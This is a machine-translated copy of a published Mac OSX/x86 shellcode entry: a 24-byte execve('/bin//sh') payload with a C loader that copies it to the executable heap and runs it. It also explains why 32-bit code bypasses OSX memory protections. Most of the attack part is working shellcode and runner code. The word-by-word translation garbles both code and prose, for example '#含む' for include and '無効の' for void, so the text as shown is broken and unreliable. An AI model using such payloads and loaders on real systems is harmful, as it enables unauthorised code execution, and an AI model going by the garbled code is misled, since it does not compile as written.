このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* 肩書を与える : OSX/x86 intel - execve(/貯蔵所/sh) - 24 bytes Type : Shellcode Author : Simon Derouineau - simon.derouineau [AT] ingesup.com 壇・綱領・公約 : Mac OSX/Intel. 実験(する)d on 10.6.4 Build 10F569 (警察などへの)密告,告訴(状)s : This code has to be 収集するd with gcc -m32 switch on 10.6.0+ More (警察などへの)密告,告訴(状)s : x86-64 code is more 安全な・保証するd than x86 code on OSX 壇・綱領・公約 : Canaries are 追加するd, Stack and heap are 非,不,無-executable, etc. Also, cat /var/db/dyld/dyld_shared_cache_x86_64.地図/計画する shows that no memory can be mapped with WX 旗s, while it's possible with x86 code ( によれば /var/db/dyld/dyld_shared_cache_i386.地図/計画する). The method used here is the easier one, heap is executable in x86 使用/適用s, as 述べるd in "The Mac Hacker's Handbook", written by Charlie Miller. The trick is to memcopy the shellcode to the heap before 遂行する/発効させるing it. */ #含む <stdio.h> #含む <stdlib.h> #含む <string.h> char shellcode[]= "\x31\xC0" // xor eax,eax "\x50" // 押し進める eax "\x68\x2F\x2F\x73\x68" // 押し進める dword "\x68\x2F\x62\x69\x6E" // 押し進める dword "\x89\xE3" // mov ebx,esp "\x50\x50\x53" // 押し進める eax, 押し進める eax, 押し進める ebx "\xB0\x3B" // mov al,0x3b "\x6A\x2A" // 押し進める byte 0x2a "\xCD\x80" // int 0x80 int main(int argc, char *argv[]){ 無効の (*f)(); char *x = malloc(sizeof(shellcode)); memcpy(x, shellcode, sizeof(shellcode)); f = (無効の (*)()) x; f(); }